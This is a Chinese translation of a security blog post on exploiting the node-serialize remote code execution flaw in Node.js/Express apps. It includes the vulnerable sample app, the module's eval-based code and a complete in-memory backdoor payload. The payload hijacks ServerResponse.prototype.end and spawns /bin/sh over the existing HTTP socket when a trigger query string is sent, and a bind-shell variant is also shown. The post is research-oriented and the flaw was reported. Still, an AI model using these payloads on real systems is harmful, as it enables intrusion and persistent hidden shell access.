原文链接:http://blog.websecurify.com/2017/02/hacking-node-serialize.html

原作者:Petko D. Petkov

译:Holic (知道创宇404安全实验室)

前言:本文阐述了一种利用 Node.JS 代码执行漏洞的方法。在 JavaScript 中,所有的对象都是基于 Object,所有的对象都继承了Object.prototype的属性和方法,它们可以被覆盖。通过覆盖 ServerResponse.prototype.end 方法,就可以操纵 express 在返回响应时执行的操纵而无须另开端口的bind shell 或 反弹 shell,类似 node 的 webshell。

另一方面就是宣传作者的 rest 工具了 _(:з」∠)_。


正文:

几天前,我注意到了 opsecx 的一篇博文,这篇文章讲了如果利用 nodejs 模块 node-serialize 的 RCE(远程命令执行)漏洞,然而有一点我很在意,就是利用 Burp 的过程过于繁琐 - 这工具很强的 - 不过我认为可以做的更优雅。

在本文中,我想表达一下个人对这个独特的 RCE 的看法,也许将来会有所帮助 - 大概对你的个人研究会有些用。

攻击面

在开始之前,先评估一下攻击面是很有用的。本 node-serialize 模块同样适用。撰写本文时,该模块每月约有 2000 次下载,其中有 9 个包不需要其它的子依赖。

下面是所依赖模块的列表:cdlib, cdlibjs, intelligence, malice, mizukiri, modelproxy-engine-mockjs, node-help, sa-sdk-node, scriby, sdk-sa-node, shelldoc, shoots。不分析代码是无法断定这些应用是否也存在漏洞,但本着挖掘漏洞的原则,我假设他们是有漏洞的。

尽管如此,更重要的是,我们还没回答“该模块扩散得有多广泛”的问题。每月 2000 次的下载量或许可以说明很多事情,不过很难估计这个数字后面的应用程序数量。去 github 和 google 大致浏览一下即可确定答案所在,这也正是有趣之处。

GitHub 搜索显示存在 97 个潜在的可能有漏洞的模块/应用,这些模块可能是个人使用,并未在 npmjs.com 上注册。通过浏览代码的方法可以快速确定了该问题存在的广泛与否。我还神奇地发现它竟然与口袋妖怪(Pokémon)有关。快去一探究竟!

我将有关情况报告给 https://nodesecurity.io/ 以提供支持,这是报告此安全问题目前唯一的途径,尤其是关于 NodeJS 模块系统的相关问题。它是个免费的开源项目。

测试环境

目前为止,我们正研究一个有利用潜力的漏洞,从公共安全的视角来看挺不错。那么我们进入更学术的一面,进而利用之。为了测试该 bug ,我们需要一个存在漏洞的应用程序。opsecx 提供了一个示例,我们将在本次练习中使用它。代码颇为简单。

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');

var app = express();

app.use(cookieParser())

app.get('/', function(req, res) {
    if (req.cookies.profile) {
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);

        if (obj.username) {
            res.send("Hello " + escape(obj.username));
        }
    } else {
        res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
            maxAge: 900000,
            httpOnly: true
        });

        res.send("Hello stranger");
    }
});

app.listen(3000);

你需要以下 package.json 安装对应模块(npm install)。

{
  "dependencies": {
    "cookie-parser": "^1.4.3",
    "escape-html": "^1.0.3",
    "express": "^4.14.1",
    "node-serialize": "0.0.4"
  }
}

那么我们进入关键部分吧。从代码中可以看到,本例 Web 应用正在使用用户配置(profile)设置 cookie,该配置使用了存在漏洞的模块进行序列化对象。然后进行 base64 编码。要想知道 base64 字符串解包后是什么样的,可以试试 ENcoder

利用步骤

现在我们有了一个有效请求,然后改造请求利用漏洞。首先,弄清 node-serialize 中的漏洞原理。看一眼源代码便一目了然,模块的相关函数如下所示:

} else if(typeof obj[key] === 'function') {
  var funcStr = obj[key].toString();
  if(ISNATIVEFUNC.test(funcStr)) {
    if(ignoreNativeFunc) {
      funcStr = 'function() {throw new Error("Call a native function unserialized")}';
    } else {
      throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.');
    }
  }
  outputObj[key] = FUNCFLAG + funcStr;
} else {

一旦调用 unserialize 方法,问题就会暴露出来,具体行号点此

if(obj[key].indexOf(FUNCFLAG) === 0) {
  obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {

如果我们创建一个包含一 _$$ND_FUNC$$_ 为开头的任意 JSON 对象,我们就可以远程执行代码,因为它使用了 eval 。我们可以使用以下设置来测试这一点。

如果成功执行,当然它理应成功,你会收到一个错误,因为服务器在请求完成之前退出了。现在我们有了代码执行,但我们可以做到更好。

关键所在

我个人感觉 opsecx 博客中提到的那点利用方式略显粗犷了。出于演示目的,它当然已经完全够用了,考虑到我们在 node 进程内已经实现了 eval 操作,我们完全可以搞更多事情,来获得更优雅的 hack,而不需要 Python 阶段的攻击。那么我就要写一下代码了,可能会修改有效的 exploit,使其更易用一些。那么我们可以使用变量选项,将代码设置为一个叫 code 的变量。

它存储我们的代码,我们不必担心编码问题。仅需修改 cookie 中的 profile ,以便将变量嵌入 JSON ,然后 node-serialize 执行特定的函数。

很漂亮!现在我们每次更改code 变量时,profile cookie payload 将通过编码链和 node-serialize 神奇的完美运行。

内存后门

现在要对我们的代码 payload 进行处理。假设我们不知道程序是如何运行的,我们需要一个通用的利用方法,或者多用任何其他应用,没有安装环境和其它预习过的知识。这要求我们不能依赖可能存在的全局范围变量。我们也不能依赖 express 应用已经导出的变量,那么可以访问其他要安装的路由来进行访问。我不想生成新的端口或反向 shell,而要保持 profile 为最小的状态。

这是个很大的需求,但进行一些研究后,很容易找到一种可行的方法。

我们从 http 模块引用 ServerResponse 函数开始。ServerResponse 的属性用于 expressjs 中 response 对象的 __proto__

/**
 * Response prototype.
 */

var res = module.exports = {
  __proto__: http.ServerResponse.prototype
};

这意味着如果我们更改 ServerResponse 的 原型(prototype),对应的 __proto__ 属性。来自响应的 send 方法会调用 ServerResponse 的 prototype。

if (req.method === 'HEAD') {
  // skip body for HEAD
  this.end();
} else {
  // respond
  this.end(chunk, encoding);
}

一旦 send 方法被调用, end 方法将被调用,而它恰好是来自 ServerResponse 的 prototype。由于 send 方法大量用于 expressjs 相关的东西,这就意味着我们可以更直接地访问更有趣的结构,比如打开当前的 socket。如果我们覆写 prototype 的 end 方法,我们便可以通过 this 引用获取对 socket 对象的引用。

实现这种效果的代码如下:

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    // TODO: this.socket gives us the current open socket
  }
})(require('http').ServerResponse.prototype.end)

由于我们覆盖了 end 的原型(prototype),我们还需要某种方式区分我们的启动请求和其他正常请求,以免产生意外。我们可以通过查询参数包含的特殊字符串(abc123),以区分是否是来自自己的恶意请求。可以从 socket 的 httpMessage 对象获取此信息。如下所示:

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    // TODO: this.socket._httpMessage.req.query give us reference to the query
  }
})(require('http').ServerResponse.prototype.end)

一切就绪。剩下的就是启动 shell 了,这在 node 中相当简单。

var cp = require('child_process')
var net = require('net')

net.createServer((socket) => {
    var sh = cp.spawn('/bin/sh')

    sh.stdout.pipe(socket)
    sh.stderr.pipe(socket)

    socket.pipe(sh.stdin)
}).listen(5001)

合并上述两个段,最终代码如下。注意我们这里通过已经建立的 socket 来重定向 end 函数,其中 node 产生了一个 shell。这很纯粹。

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    if (this.socket._httpMessage.req.query.q === 'abc123') {
        var cp = require('child_process')
        var net = require('net')
        var sh = cp.spawn('/bin/sh')
        sh.stdout.pipe(this.socket)
        sh.stderr.pipe(this.socket)
        this.socket.pipe(sh.stdin)
    } else {
        end.apply(this, arguments)
    }
  }
})(require('http').ServerResponse.prototype.end)

现在 nc localhost 3000,然后输入以下请求内容:

$ nc localhost 3000
GET /?q=abc123 HTTP/1.1


ls -la

什么?你啥也没得到?这只是个小把戏,我分开讲了。你看,我们正在劫持一个现有的 socket,因此我们不是它的唯一接管人。还有其他的东西可能会影响 socket,所以对于其他情况应小心考虑。还好很容易实现这一点,最终的代码如下:

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    if (this.socket._httpMessage.req.query.q === 'abc123') {
        ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket))
        var cp = require('child_process')
        var net = require('net')
        var sh = cp.spawn('/bin/sh')
        sh.stdout.pipe(this.socket)
        sh.stderr.pipe(this.socket)
        this.socket.pipe(sh.stdin)
    } else {
        end.apply(this, arguments)
    }
  }
})(require('http').ServerResponse.prototype.end)

最后,可以根据自己的喜好自由发挥了。可以通过相同的服务器进程,建立 socket 打开具有特殊字符串的请求来获取远程 shell。

结论

我们从一个简单的 RCE 开始,最终生成了一个通用的 HTTP 通道的 shell,可以应对多种情况。整个过程利用 Rest 工具变得非常简单。顺便推荐前几篇文章:123


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/221/